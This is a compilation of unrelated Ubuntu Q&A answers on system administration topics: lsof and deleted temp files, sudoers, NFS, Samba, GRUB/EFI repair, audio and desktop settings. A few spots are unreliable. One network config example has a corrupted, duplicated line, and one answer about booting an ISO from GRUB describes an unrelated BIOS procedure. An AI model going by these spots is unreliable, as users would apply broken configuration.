Try this.

$ sudo lsof | egrep '^COMMAND|deleted'

Example output I see on my system...

COMMAND     PID        USER   FD      TYPE             DEVICE   SIZE/OFF       NODE NAME
mysqld     2842      mysql    5u      REG                9,1        4633    6209543 /tmp/ibLRNV1i (deleted)
mysqld     2842      mysql    6u      REG                9,1         424    6209545 /tmp/ibnnYl1y (deleted)
mysqld     2842      mysql    7u      REG                9,1           0    6209546 /tmp/ib5ViM0O (deleted)
mysqld     2842      mysql    8u      REG                9,1           0    6209547 /tmp/ibh9U55F (deleted)
mysqld     2842      mysql   13u      REG                9,1           0    6209548 /tmp/ibRzqtwm (deleted)
mysqld     2842      mysql  319u      REG                9,1    25894907    6209553 /tmp/MLFxqPDX (deleted)
mysqld     2842      mysql  350u      REG                9,1   267677827    6209550 /tmp/MLFBkHbP (deleted)

A common characteristic of many *nix filesystems is the fact that there's nothing preventing a process from continuing to read/write to/from a deleted file, and there's nothing preventing the deletion of a file that a process still has open.

One way some programs ensure that temporary files don't linger around (and possibly also as a security measure, though I'm unsure how "secure" this is) is to open them, and immediately "unlink" (delete) them.  If the process terminates unexpectedly, the disk space is freed.  MySQL does this:

  MySQL arranges that temporary files are removed if mysqld is terminated. On platforms that support it (such as Unix), this is done by unlinking the file after opening it. The disadvantage of this is that the name does not appear in directory listings and you do not see a big temporary file that fills up the file system in which the temporary file directory is located. (In such cases, lsof +L1 may be helpful in identifying large files associated with mysqld.)

  —http://dev.mysql.com/doc/refman/5.6/en/temporary-files.html

Important Point: When a file that is still open is deleted, the space is not actually freed on the disk until the last process holding a handle on the file closes it.  Until the file is closed, nobody, including root, can free that space other than by killing the process.  Conversely, killing (or gracefully stopping, if possible) the process should always free the space.

So I would recommend you take a look at what your system may have in the way of open and deleted files and this may give you something to go on.

In the case of my system, MySQL does have a number of temporary files open, some of them fairly large.

If you want to peek inside those files, it's easily done, though the nature of what you'll be able to discern varies widely.  Take the PID and the digits under FD that do this... example, PID 2842 FD 350:

$ sudo strings /proc/2842/fd/350 | less

If MySQL does have deleted temporary files open, stopping and restarting MySQL will free up that space, and then you'll need to investigate what might be keeping those open of they are lingering longer than appropriate and whether you have queries that are generating inordinately large temporary tables and exhausting your /tmp space.  If your /tmp directory is its own partition/filesystem then df -h will give you a better answer regarding free and used space.  You probably don't need to worry too much about the actual size of the directory entry itself.

And of course it might not be MySQL. :)


Changed icon for application, but it still starts with the old one

Seems like I found the right folder. Snaps have their own desktop directory.

  /var/lib/snapd/desktop/applications

Changed the icon their et voila everything works fine.

Still not very clear for me why the .local hasn't overwritten the old entry, or why it starts the "old" application but okay fine by me.


Your question is pretty broad.

The Network pane in Chrome's web inspector is quite handy. You might also find httpflow useful for seeing what goes over the wire.


(should be a comment, rep to low)
can you go through this Diagnose Network Problems yourself step-by-step guide and if it doesn't solve your problem post your results here, that should give a better description of your problem.


How can I change the default audio device port?

This page worked for me: Change default sound device


How to open the same document in evince multiple times?

In evince you can use File --> Open a Copy to open another window showing the same file.


Ubuntu 12.04 Bumblebee vs Nvidia GeForce GT 740M

I know this doesn't necessarily answer your question about Bumblebee, but you said any hint or tip.

If you're not tied down explicitly to 12.04, you could update to 14.04 and use the nvidia-prime package, which makes use of the Optimus hardware much easier.

You do have to log out/in to switch back and forth between the Intel chip and the nVidia chip, but you'll get your whole desktop on the nVidia card when using it and there's almost no configuration necessary.

Bumblebee is a nice solution but it can sometimes be a pain to set up and I have had a couple issues with particles and other things in certain games.


How to disable tap to click in Lubuntu 13.10

Click on the Menu icon in your panel.
Choose Preferences in the dropdown and then choose Customize default applications for LXSession. This is a new feature in Lubuntu 13.10. There's no documentation that I know of as yet.

A screen will open as shown below:

Click on the Autostart tab. You should see something like what is shown in the image.
Ensure that config-only appears next to Disable autostarted applications.
Under Manual autostarted applications and next to + Add, type in synclient MaxTapTime=0
Close the Customize default applications for LXSession window.
Just to check, open ~/.config/lxsession/Lubuntu/autostart. You should see a line with synclient MaxTapTime=0. There's no need to do anything. Just close the file.
Log out.
Log in.

Tap to click should be disabled now. This works for me in Lubuntu 13.10.


In xfce4, how to set the critical value on the battery level?

Go into Power manager, and click on Extended --> Advanced Options, and change the value  there.

For newer versions of XFCE


"/etc/init.d/networking restart" with non-root user

You need to add proper sudo rights to the cisco user. Create one file in /etc/sudoers.d/ as root, named cisco, and with the following one line content:

cisco ALL=NOPASSWD: /etc/init.d/networking

Also change the access rights to read-only:

sudo chmod 440 /etc/sudoers.d/cisco

More the Ubuntu way would be to use the sudo service networking restart logic, but I do not know how to add this to sudoers file.


How to use DHCP if available, otherwise use static IP

A simple option, if your static setting isn't going to potentially conflict with anything, would be to setup a network alias. For the non-alias connection, you leave it configured for DHCP, but then you configure the alias connection with your static connection. In this way if DHCP is available, technically both connections are active, presumably only the DHCP one really "works" the network you are using.  If DHCP isn't available, it self assigns a 169 address and doesn't work, but the static alias does. Don't forget to reboot or restart the service after editing.

/etc/network/interfaces Example

auto eth0
allow-hotplug eth0
iface eth0 inet dhcpauto eth0
allow-hotplug eth0
iface eth0 inet dhcp

auto eth0:1
iface eth0:1 inet static
name Ethernet alias LAN card
address 192.168.1.7
netmask 255.255.255.0
broadcast 192.168.1.255
network 192.168.1.0

Details available here: https://www.cyberciti.biz/faq/linux-creating-or-adding-new-network-alias-to-a-network-card-nic/


getting an odd message when searching in browser's address bar

Typing some words in the Firefox address bar will result in Firefox doing a web search for those words. Typing other words will result in Firefox treating the word as a hostname and trying to connect to it.

I do not know how Firefox decides which words to use as search terms, and which to use as destination addresses (if you do know, please let us know).

"hello" - treated as search term
"hellox" - treated as address
"ping" - treated as search term
"pinga" - treated as address
"askubuntu" - treated as address
"user278904" - treated as address

What happens when Firefox treats a word as an address, and it can not be resolved, depends on your ISP. Traditionally, an unresolved address would result in a DNS lookup returning an "unresolved" status, and Firefox then complaining that it could not find the server. Unfortunately, some ISPs realised that they could instead resolve unknown addresses to point to their own internal servers, and then serve their customers targeted advertising based on the site that they tried to connect to. This appears to be what is happening in your case. Your ISP is intercepting your unresolved address, and redirecting it to one of its own servers. The server in question was temporarily configured incorrectly, resulting in the odd error you saw - this now seems to have been fixed and visiting the URL you gave results in optimum.net serving up "adblock" related adverts.


Answering instead of commenting as this might be long.

Try using these two commands to check for errors -

dmesg - Shows Boot Up Message and other Kernel related messages like device connections (When you plug in a new device eg: external hard drives, webcams, bluetooth devices...). Type dmesg in console and it will show you how the system booted up. If you have hard drive problems or any other booting problem they might show here.

lspci - Shows you all PCI devices (Video Card, Sound Card, Capture Card...)

Try using log files to see what the error might be.

Since behavior gets reperated, use tail -f logfile

Many errors are logged to /var/log/Xorg.0.log and ~/.xsession-errors while running X; errors in X itself to the first, and errors in programs running inside of X to the second.

Watching the log file in an open terminal with the tail command allows the user to see the last ten lines logged, followed by any errors as they are added to the log in realtime, allowing a user to more easily associate error messages with the issue needing troubleshooting. A user can simply 'tail' a log file, and then try to reproduce the error, watching for new lines to appear.

Other logs can be helpful to watch, such as /var/log/dmesg for messages from the kernel, for example, relating to USB devices as they are plugged in, hard disk failures, and other hardware issues.

Searching for the error message on the net might get you the solution.


Trying to install server ubuntu LTS 20.4on HP ProLight DL 380p ACPI Error AE_NOT_EXIST

My first install include docker and as the default mini8 offering.
Having reinstalled, not included docker and repartition the disk, the error seems to have gone away.  So I am going to let sleeping dogs lie


If you are just trying to watch videos, I highly recommend installing VLC player.
sudo apt install vlc. It has all the codecs needed to play back any video that I have ever opened in it. Be sure to set VLC as the default video player so it opens automatically. I had the same issues that you had and tried numerous times to install the various codecs, but it is much easier to just install VLC.


When you use crontab -e a file will be created at /var/spool/cron/crontabs/ which its name is equal to your uesername.

So just redirect your desired line to this file:

echo "@reboot /path/to/file.sh" | sudo tee -a /var/spool/cron/crontabs/$USER

using tee -a we are telling tee to append @reboot /path/to/file.sh at the end of this file instead of overwriting it.
if it's not there it will be created.


How to install Ubuntu from a Windows system using only an external SSD?

Install Ubuntu using only an External SSD
Ref: Can Ubuntu be installed to the pendrive it was booted from?

Best to unplug the Windows disk before proceeding

Divide your SSD into three partitions, Make one FAT32, about 3GB for the installer, make one ext4, about 40GB to 100GB, for Ubuntu and make one NTFS in remaining space for data. Add a 300MB FAT32 EFI partition at the beginning of the disk if your Windows boots in UEFI mode.

Use Universal USB Installer to install Ubuntu Live to the 3GB partition on the SSD, See: Can I install ubuntu 20.10 or 20.04LTS on dual boot with windows 10 without USB Drive?

Boot Ubuntu Live from the SSD using toram and install Ubuntu to the ext4 partition on the SSD. To ensure compatibility with Windows on your other disk, boot Ubuntu Live in the same BIOS / UEFI mode windows is installed in.

Plug in the Windows disk and boot the new Ubuntu install and delete the Live install, then run sudo update-grub to add Windows to Ubuntu's GRUB menu.


You can use the terminal editor nano to do that.
Since it is a root directory, type

sudo nano /etc/network/interfaces

now you can edit this file with nano. To exit simply type ctrl+x and y to save your changes.


NFS Shares - one IP Read/Write, rest Read-Only

To export /mnt/TVShows as rw from nas to matt-pc and ro to all other you could write this in `/etc/exports:

#
/mnt/TVShows matt-pc(rw,no_subtree_check) 192.168.1.0/24(ro)

Notice that the order is important. The first machine name/IP/network that maches is used when exporting to one machine, so have most specific machine first and most general last. Do not end with a catch all that gives to much rights.

Also remember that each set of options is inherent to next, so you only need to be specific on first. The rest is only changes from previous settings. Also avoid set opinions you don't need. (And always read relevant man(1) pages and documentation in /usr/share/doc/"package name"/)

Also check how the names you are using are resolved properly. To use that, use the getent(1) command.  Like this:

$ getent hosts matt-pc

And how that works depend on the resolv.conf and /etc/hosts  (or actually the contents of /etc/nsswitch.conf).

To mount you do like this from each machine:

/etc/fstab
# ro, that is this line in all but matt-pc
nas.local:/mnt/TVShows  /mnt/NFS/TVShows nfs auto,ro,noatime,nolock,bg,nfsvers=4,intr,tcp 0 0
# rw, that is this line in only matt-pc
nas:/mnt/TVShows  /mnt/NFS/TVShows nfs auto,rw,noatime,nfsvers=4,tcp 0 0

Notice though that don't use more arguments than you really need.

(Yes, I prefer to have disks on servers mounted under /srv/, as that is for server resources, and /mnt/ is more for temporary mountings.  I usually have /srv/web/, /srv/files/music/, /srv/files/video etc.  It maskes it easier to make backups)


Signal’s desktop app keeps on crashing when trying to make or receive a call

Maybe you can try downloading Signal's Desktop app from here!
It is the official website of Signal.


Adding a pulseaudio filter

M=$(pacmd list-sources | grep -P "name:.*alsa.*input" | tail -n 1 | perl -pe 's/.*<//g;s/>.*//g')
pacmd load-module module-remap-source source_name=mono master=$M master_channel_map=front-left,front-right  channel_map=mono,mono

and selecting the new default in settings worked for me.


You could use xorriso. I don't remember why but I think this is not possible with mkisofs.

Try:

xorriso -as mkisofs \
  -isohybrid-mbr /usr/lib/syslinux/mbr/isohdpfx.bin \
  -c isolinux/boot.cat \
  -b isolinux/isolinux.bin \
  -no-emul-boot \
  -boot-load-size 4 \
  -boot-info-table \
  -eltorito-alt-boot \
  -e boot/grub/efi.img \
  -no-emul-boot \
  -isohybrid-gpt-basdat \
  -o /path/to/tmp.iso \
  /path/to/tmp

This will produce an hybrid MBR/EFI iso

http://www.syslinux.org/wiki/index.php/Isohybrid


How can I get an iso image to boot from Ubuntu 16.04 grub 2 menu?

Power on you PC while continuously pressing the appropriate function key for your model to bring up the BIOS menu. In Lenovo it is F2, in Hp it is F12.

Go to BOOT tab by using right arrow key

Select Macrium Reflect by using down arrow key

Press F6 as many times as needed so that Macrium Reflect moves to the top of other BOOT options.

Press F10. A pop up box appears. Yes is selected by default. Press Enter.

Your PC will reboot and will now boot into Macrium Reflect


On startup; Run script as root and create a screen for it

We use (in a perl script that is started in /etc/rc.local with

su {username} -c '/usr/local/bin/schermen start'

The script has a "start","stop" and "restart" options.

):

screen -d -m -S {screen_name} {$program_to_start}

The man page has a notice om using -d -m:

-m   causes  screen  to  ignore the $STY environment variable.
With "screen -m" creation of a new session is enforced,
regardless whether screen is called from within another screen session
or not. This flag has a special meaning in connection with the `-d' option:

-d -m   Start screen in "detached" mode.
This creates a new session but doesn't attach to it.
This is useful for system startup scripts.

Extra:

-S sessionname When creating a new session, this option can be used
to specify a meaningful name for the session.
This name identifies  the  session  for  "screen -list"
and "screen -r" actions. It substitutes the default [tty.host] suffix.


black screen on Install, cannot apply standard solutions

Didn't really know what I was doing so I just tried random stuff and this is what ended up working, so maybe some of it was unnecessary.

I disabled secure boot then reinstalled in OEM mode. Finally I had the option to add grub into the boot options then when grub finally opened I could add nomodeset and everything was good.


Can't launch anything with "./  in terminal

There should not be any space between "./" and "qt-opensource-linux-x64-5.7.0.run". You should do

./qt-opensource-linux-x64-5.7.0.run


heemayl's answer was it.

"Try

 sudo update-alternatives --install /usr/bin/java java /usr/lib/java/jdk1.8.0_66/bin/java 1100

"
I did this for the scripts and they went through correctly and java -version now reads the correct one. Thank you!


Samba share / Window host / Ubuntu Guest

First of all Welcome to AskUbuntu.

You're fighting with linux permissions.

By default in samba share you can create files from clients, but you don't have permission to delete them.

When you create a file from a client i.e.(windows) in your samba share, it's created with mask 0644, but the client is not the owner of the directory, so you can't delete it.

First of all create a specific user here I use sambashare but you can customize it.

sudo adduser --system sambashare

Create a mount point

sudo mkdir /mnt/MyStuff

Change owner of share directory

sudo chown -R sambashare:sambashare /mnt/MyStuff

Change directory permissions to 755

sudo chmod 755 /mnt/MyStuff

Then simple force samba to use user sambashare

[MyStuff]
path = /mnt/MyStuff
writeable = yes
browseable = yes
read only = no
public = yes
create mask = 2755
directory mask = 2755
force user = sambashare

Then restart samba

sudo systemctl restart smbd

Found uid and gid of created user using

cat /etc/passwd | grep sambashare

gives sambashare:x:122:65534::/home/sambashare:/usr/sbin/nologin

cat /etc/group | grep sambashare

gives sambashare:x:122:cube

According to output uid and gid are 122

Edit /etc/fstab to add entry for the mount point using correct uig and gid

MyStuff    /mnt/MyStuff  vboxsf  uid=122,gid=122,umask=0022 0 0

Note MyStuff is the name you provide when you create shared directory under virtualbox.

Now add the module vboxsf to /etc/modules to force module loading onboot.

In VirtualBox application remove the option automount.

Then Reboot. Now you should be able to create/delete files in your shared directory from windows.


You just need to install ucm2's latest version from Debian testing site. And the audio is working perfectly fine. Tested on Samsung Chromebook 2 (winky), chtmax98090, Ubuntu 20.10


Failure in running CUDA sample after cuda 8.0 installation

The makefiles of the samples have wrong nvidia-xxx version numbers. Substitute them with:
sed -i "s/nvidia-367/nvidia-375/g" `grep "nvidia-367" -r ./ -l`
and try to make again.


Selecting a mirror server is easy, but not required. The Ubuntu installer will try to select an appropriate mirror for you.
If you want to change it,

Find your Shortcut Bar
Click on the little nine-box grid (or tap your Super key)
Search for (and click on) Software & Updates
Click on the Ubuntu Software tab.
Look for the Download From field. That's the list of servers. Select one.


How can I set the default log in session?

Well - I'm using 10.04 and xUbuntu, and with german menu translation, which is a bit different, but you should as well have a section settings where a lot of settings are.

There you should find a group 'session and starting' or similar. There you should be able to select what the default is.

Maybe you have 'save session on shutdown' and 'login to last session'. Using them in combination might lead to the desired result. If you change the settings, but don't save it at shutdown, the start of last (saved) session will always lead to the same, old session.


No WiFi connection & wireless card is Intel 7265

Support for your device is supposed to be in Kernel 4.2, which is included with Ubuntu 15.10.  You could either try Ubuntu 15.10 (15.04 is going end-of-life soon) or you could try to upgrade the 14.04 kernel to version 4.2.  Of the two, I would suggest using Ubuntu 15.10


How to create link that can be followed in SFTP?

Use bind mounts:

mount -o bind ~user1/some/folder ~/user2/another/folder

SFTP should show the same contents for both directories. Bind mounts are a common way to make directories available inside chroots.


Yes, you can run Matlab scripts in Octave in most cases that aren't to complex or rely on Matlab toolkits that haven't been rebuilt for Octave. See Wikipedia's section on Octave's Matlab compatibility:

  Octave has been built with MATLAB compatibility in mind, and shares many features with MATLAB:

  Matrices as fundamental data type.
  Built-in support for complex numbers.
  Powerful built-in math functions and extensive function libraries.
  Extensibility in the form of user-defined functions.

  In fact, Octave treats incompatibility with MATLAB as a bug; therefore, it can be considered a software clone, […]


When you are on the purple-ish frozen screen, try to hit Ctrl+Alt+F7 or Ctrl+Alt+F8 to see if you can access a standard terminal.


The loopback interface, lo, is supposed to come up. It is an integral part of the system and shouldn’t be altered or defeated.

I suggest that you amend your file to:

auto lo
iface lo inet loopback

auto enp3s0
iface enp3s0 inet dhcp

Reboot the computer and check:

ifconfig

Did you get an IP address? Can you ping?

ping -c3 www.google.com

If you get ping returns, you’re all set.


Jump to some specific line in the vi editor

You can find the line by searching for some unique part of it with /

Press esc and type:

/printf

and the cursor will jump to the first instance of printf. press n to go to the next match until you reach the line you want. To move to the end in normal mode, type

$

To jump to the end and change to insert mode, type:

A

(shift+A)


Is there any application/tool for quick translations of a selected word?

Checkout Stardict

You may find German dictionary from the main site. Or from this http://cihar.com/software/slovnik/

To install stardict, you may install from software center or running this command:

sudo apt-get install stardict

After you install stardict and dictionary click on the setting icon on the bottom and define selection key like the screenshot shows:

Selection translation looks like this on pdf:


The headphone jack, or line out, has its voltage controlled by the computer. Software on the computer tells the sound card to produce certain sounds, and the sound card creates an oscillating voltage in the headphone jack.

The microphone jack does the opposite; it controls the computer through its voltage. An oscillating voltage is induced there by an external device, and that gets measured by the sound card and made readable by software.

They are incompatible; one cannot stand in for the other.

There is some compatibility between the actual devices that attach to each type of audio jack. A microphone and a speaker work in basically the same way, and provided that you use microphones and speakers with compatible impedance, you can sometimes plug a microphone in where a speaker should go and hear sound from the microphone; and you can sometimes plug a speaker in where a microphone should go and speak into the speaker as though it were a microphone.

This doesn't usually work very well. A computer-compatible microphone is lower voltage (amplitude) than a computer speaker. The primary practical application of this concept was in using old telephones, when they started to break down. If you have a landline phone today, you can still often yell into the speaker and make yourself (faintly) heard on the other end.

Since the microphone jack on your sound card only takes information in, and the line out jack on your sound card only puts information out, you're out of luck. This is a limitation in the sound card, and it cannot be overcome by an operating system (like Ubuntu).

On the other hand, if you tell us why you want to do this, it might be possible to figure out some other approach that would achieve your goals.


Using Ubuntu 13.10 Live USB "an operating system not found" error

Reasons for "Operating system Not found" Error while booting from live USB:

Check the software did you used to create a bootable ubuntu live disk on Windows.

See this page or install Unetbootin to create a Ubuntu live USB on windows.

Check the md5sum of the downloaded Ubuntu.iso file.If it not matches then redownload the iso file.

Check the boot-order in bios and make sure to set it to boot from live-usb.


Will this break anything? alias l='ls -ltra'

The default ~/.bashrc in Ubuntu (/etc/skel/.bashrc) uses

alias l='ls -CF'

But as far as I know no program or script relies on this (and it would be quite bad to do so), so I don't expect your version to break anything. Just be careful if you are following some tutorial or other doc that uses l.


How to get correct launcher icon for google-earth?

Update your file to :

Icon=/usr/share/icons/hicolor/64x64/apps/google-earth.png


Error in installation of Adobe Acrobat Reader - "The package is of bad quality"

If you don't actually need Adobe Reader, use Evince, which is included in Ubuntu.
Since the author of this question only needs annotation, Evince can do that, but the option is hidden. Here's how to annotate PDFs in Evince.

If you actually have a reason to need Adobe Reader, ignore how they sloppily made their package, and install it anyway.


Ubuntu Server can access the internet, but I can't connect to it on the local network

So as far as I understand, you can reach the internet from the machine in question, but any attempt (ssh/apache/ping) to reach it from within your local network times out.

Since you said this problem occurred after you restarted the laptop, I would also restart your router (dhcp server) to make sure every machine in your local network knows how to contact the 192.168.0.15.


Encrypted partition mounts but encrypted home doesn't

Normally, when the home folder is encrypted, it must be with the same password than the user password.
In this case, the home folder will be automatically unlocked when you'll enter your Account.


Log out then before log back in select the Slovenian keyboard.
Now you can reboot safely ;-)


The linux terminal server product ThinLinc version 4.0 do have support hosting VirtualBox VDI machines. It does support both persistent and shared VDI machines. The product is commercial but it is free to use up to 10 concurrent users.

For more information about VDI infrastrcture:

http://www.cendio.com/resources/docs/tag/pt04.html


How to install Structorizer on Ubuntu 14.04?

Download .deb package here

Open terminal and run the following commands:

cd ~/Downloads
sudo su
dpkg -i structorizer_3.22-2_all.deb
apt-get install -f

The first step might fail due to missing dependencies. The second step will install these dependencies and then complete the installation.


How to disable notifications for a specific application?

(For context, I visited this question a while after original post)

The quickest way to disable notifications from Spotify only is to go to your account settings (on Linux Mint, open the dropdown menu in the top right where your name is, and select settings).

Scroll down until you the see "Display Options" section. One of the switches will say "Show Desktop notifications when song changes" and click on the switch. This will turn off the notifications.

Note

I would have preferred a solution that only mutes the notifications. I want to see the notification, but I don't want to hear it.

But this is good enough for me, a simple Alt+Tab isn't going to kill me.


First make sure that you have Gparted, and Ntfs-3g installed, and P7zip.

If not, just press Ctrl+Alt+T on your keyboard to open Terminal. When it opens, run the command(s) below:

sudo apt-get install gparted
sudo apt-get install ntfs-3g
sudo apt-get install p7zip-full

Once the installation is done, download and install UNetbootin for Linux.  For all the steps, follow the images below.

You run UNetbootin, by double clicking on it, but before you run it, right click on the file, and follow steps outlined by the images below.

Make sure that you have the Windows ISO available, and follow the steps outlined in the image below.

Once done, make sure that your system is set to boot from USB, insert the USB to boot from it, and reboot your machine.


Cannot install libgtkmm-2.4-dev in Kubuntu 13.10 - unmet dependencies

From apt-get's manpage:

   -f, --fix-broken
       Fix; attempt to correct a system with broken dependencies in place.
       This option, when used with install/remove, can omit any packages
       to permit APT to deduce a likely solution. If packages are
       specified, these have to completely correct the problem. The option
       is sometimes necessary when running APT for the first time; APT
       itself does not allow broken package dependencies to exist on a
       system. It is possible that a system's dependency structure can be
       so corrupt as to require manual intervention (which usually means
       using dselect(1) or dpkg --remove to eliminate some of the
       offending packages). Use of this option together with -m may
       produce an error in some situations. Configuration Item:
       APT::Get::Fix-Broken.

Try sudo apt-get install -f then sudo apt-get install libgtkmm-2.4-dev.


Depending on the desktop environment you are using for Ubuntu and Mint will also play a role in how long your battery will last. For example Unity (Default for Ubuntu) will require more resources than LXDE. It's the same story for mint; if you are using KDE expect a higher amount of consumed resources.

I would recommend you try using different Desktop environments.


It looks like you enabled some of the "Universal Access" features. In system settings way down you find Universal Access. Select it and then click on the typing tab. Disable all settings in that tab.


Cant make my site available to the internet

1) your mysite file needs this 1st line

    <VirtualHost *:80>

2) Enable your site by running in terminal:

    sudo a2ensite mysite

3) The procedure to publish a site to Internet needs:

a web (not intranet) ip (213.xxx.xxx.xxx) which you have to attach from your router, to your Ubuntu server intranet (fake) static ip (192.168.xxx.xxx). This must be done from the router panel.
set your Ubuntu server intranet (fake) static ip (192.168.xxx.xxx) in /etc/hosts file (add this line)

192.168.xxx.xxx www.lowkey.se
Tell your domain provider of lowkey.se to turn lowkey.se hearing in the router web ip  (213.xxx.xxx.xxx)

After some hours you can see www.lowkey.se through Internet.


How can I see the contents of an inserted CD?

Try the command

mount -o ro,unhide,uid=1000 /dev/cdrom /mnt/cdrom


I'm trying to install wine and got an error

Open the terminal and type:
sudo add-apt-repository --remove 'deb https://dl.winehq.org/wine-builds
/ubuntu/ focal main'
sudo add-apt-repository universe
sudo apt update
sudo apt install -y wine32 wine64 wine-stable

Other suggested packages to install along with wine-stable are: dosbox playonlinux winbind wine-binfmt winetricks


Ubuntu boot option does not appear while booting; installed Ubuntu with Windows 8

I think you need to reinstall grub loader in order to display both Ubuntu and Windows at startup.

You can do it with boot-repair software, it will install grub on your system, for that boot any Ubuntu on pendrive or removable media and start it as "try Ubuntu" then goto terminal and install boot-repair by following command.

sudo add-apt-repository ppa:yannubuntu/boot-repair && sudo apt-get update

sudo apt-get install -y boot-repair && (sudo boot-repair &)

boot-repair

Then click the "Recommended repair" button. When repair is finished, note the URL (paste.ubuntu.com/XXXXX) that appeared on a paper, then reboot and check if you recovered access to your OSs.

for more information visit this link


12.04 isn't recognising my screen properly after an Nvidia failed driver update

I'd recommend doing this steps:

Uninstall current driver
Remove /etc/xorg.conf
Install nvidia drivers through jockey or command line


External Mic not working but Internal Mic works on an Acer Aspiron AO722

I don't have my AO722 in front of me to compare, but I suggest opening the "alsamixer" in terminal and check to see if you can mute the external mic.  It's not a great fix, but for typical Skype in a quiet room use you can simply use the internal mic 100% of the time and your headset for sound. I expect you'll need to plug in the external mic first, then run alsamixer. Good luck.


Ubuntu 13.10 Dell E1705 Wired and Wireless Broken

Please hook up the ethernet and open a terminal and do:

sudo modprobe b44

Your ethernet should now be working and we'll use it to fix your wireless:

sudo apt-get purge bcmwl-kernel-source
sudo apt-get install linux-firmware-nonfree

Detach the ethernet, reboot and tell us how it's working.


lm-sensors not recognized my laptop hardware fan

Execute sensors_detect first, it checks your hardware and loads appropriate modules. execute the command sensors again then.


You need to specify the X DISPLAY.  You can do this in your script.

Modify your script to read:

#!/bin/sh
mkdir -p --mode=0755 /home/username/.sst/rslt/$(date +%Y)/$(date +%m)/$(date +%d)/$(date +%H)
export DISPLAY=:0 && scrot '/home/username/.sst/rslt/%Y/%m/%d/%H/%M%S.png'

The above display specification is assuming that screen ":0" is your active X DISPLAY owned by you (owned by the user running the crontab).

There are a number of ways you can specify the DISPLAY.  You could use as the third line:

env DISPLAY=:0 scrot '/home/username/.sst/rslt/%Y/%m/%d/%H/%M%S.png'

Or you could call your original script with one of many variations including:

* * * * * env DISPLAY=:0 /home/username/.sst/cmd.sh

You could replace /home/username with the variable userhome from the two lines:

username=`whoami`
userhome=`egrep "^$username:" /etc/passwd | awk -F: '{print $6}'`


Fix for Skype Video upside Down.
My machine is an ASUS 64 bit running Ubuntu 14.04 LTS, I got these commands from some one that posted it and I can't find his name now but it worked.
Go to terminal and type:

sudo apt-get install libv4l-0:i386
sudo gedit /usr/share/applications/skype.desktop

edit the Exec= line to make it look like this:

Exec=sh -c 'LD_PRELOAD=/usr/lib/i386-linux-gnu/libv4l/v4l1compat.so env PULSE_LATENCY_MSEC=60 skype %U'

Thats it. Run skype from the launcher by clicking it.

Note: if you run Skype from the terminal, or from the startup applications the web cam will still be upside down.
If you really need it to run it from the terminal, i recommend you to create an executable to preload the v4l1compat.so (to make the flip application and put it in /bin/flip)

Power PC down and bring back up then Skype will be fixed.
Your done./
Phil Thanks to the person I got this from just can't find his name at this time.


Installed Windows before Ubuntu, both in BIOS mode, but GRUB install failed

First, your Windows installation, at least, is in EFI mode (aka UEFI mode; UEFI is just EFI 2.x), not in BIOS mode, as your question's title claims. That said, there is evidence of a BIOS-mode Linux boot loader, so you probably either installed Linux in BIOS mode initially or ran Boot Repair at least once in BIOS mode; but there's also evidence of an EFI-mode Linux boot loader.

Second, have you disabled the Windows "Fast Startup" (aka "Hybrid Boot") feature? If not, do so, as described here. Note that this feature is entirely separate from the firmware's "fast start" (or similarly-named) feature. The Windows feature can cause corruption of partitions shared between Windows and Ubuntu, including the critical EFI System Partition (ESP), which holds EFI-mode boot loaders.

Third, and at least as important, there are problems with your partition table:

Your /dev/sda1 is identified as your ESP in your partition table, but it holds an ext4 filesystem. This is unusual bordering on invalid. The ESP must normally contain a FAT filesystem. It looks like you erred in setting up your partitions, and re-allocated the ESP to be your Linux /boot partition.
Your /dev/sda7 is FAT and holds files that would normally be on an ESP, but is marked as an ordinary FAT/NTFS volume.

The appropriate fix is to re-mark /dev/sda1 as a Linux partition and /dev/sda7 as an ESP. You can do this with GParted or parted by removing the "boot flag" from /dev/sda1 and adding the "boot flag" to /dev/sda7; or in gdisk by changing the type code of /dev/sda1 to 8300 and of /dev/sda7 to EF00. This fix will probably not be enough to restore your system to bootability, but it may be a necessary prerequisite, and it's certainly necessary for safety.

As to fixing your problem, after you both disable Fast Startup and fix your partition type code issues, try re-running Boot Repair. Be sure to boot it in EFI mode. It was booted that way when you ran it to generate the output you've shown. Typically, you must select the boot option that includes "UEFI" in the description.

If Boot Repair doesn't work, try using a USB flash drive or CD-R version of my rEFInd boot manager. It should enable you to boot your Linux installation, with one caveat: Because you've got a separate /boot partition, you may need to highlight your kernel, hit F2 or Insert twice, and add ro root=/dev/sda4 to get it to boot correctly. (OTOH, this might not be necessary; it looks like you've got both a kernel on /dev/sda4 and a separate /boot partition.) If rEFInd can start your system, you can either try to manually install GRUB (using grub-install) or install the rEFInd PPA or Debian package.

An alternative: Instead of attempting to repair your installation, you can try re-installing. You'll still need to disable Fast Startup in Windows, but once you do that, delete /dev/sda1 through /dev/sda5, fix the type code on /dev/sda7, create new partitions (one for / and one for swap should be sufficient, but you can optionally create more), and install. Be sure to boot the installer in EFI mode; do not attempt a BIOS-mode installation. (Drop to a shell and look for the /sys/firmware/efi directory. If it's present, you've booted in EFI mode; but if it's absent, you've booted in BIOS mode.)


Try this one:

#! /bin/env bash

gsettings set org.gnome.desktop.wm.keybindings cycle-panels "[]"
gsettings set org.gnome.desktop.wm.keybindings cycle-panels-backward "[]"
gsettings set org.gnome.desktop.wm.keybindings move-to-workspace-down "['<Shift><Super>Page_Down']"
gsettings set org.gnome.desktop.wm.keybindings move-to-workspace-left "[]"
gsettings set org.gnome.desktop.wm.keybindings move-to-workspace-right "[]"
gsettings set org.gnome.desktop.wm.keybindings move-to-workspace-up "['<Shift><Super>Page_Up']"
gsettings set org.gnome.desktop.wm.keybindings panel-main-menu "['<Super>s']"
gsettings set org.gnome.desktop.wm.keybindings switch-applications-backward "['<Shift><Super>Tab']"
gsettings set org.gnome.desktop.wm.keybindings switch-applications "['<Super>Tab']"
gsettings set org.gnome.desktop.wm.keybindings switch-group-backward "['<Shift><Super>Above_Tab']"
gsettings set org.gnome.desktop.wm.keybindings switch-group "['<Super>Above_Tab']"
gsettings set org.gnome.desktop.wm.keybindings switch-panels "[]"
gsettings set org.gnome.desktop.wm.keybindings switch-panels-backward "[]"
gsettings set org.gnome.desktop.wm.keybindings switch-to-workspace-down "['<Super>Page_Down']"
gsettings set org.gnome.desktop.wm.keybindings switch-to-workspace-left "[]"
gsettings set org.gnome.desktop.wm.keybindings switch-to-workspace-right "[]"
gsettings set org.gnome.desktop.wm.keybindings switch-to-workspace-up "['<Super>Page_Up']"
gsettings set org.gnome.desktop.wm.keybindings unmaximize "['<Super>Down']"

Source link.


.php files are downloaded instead of being parsed by Apache

Try:

sudo apt-get update; sudo apt-get install libapache2-mod-php5
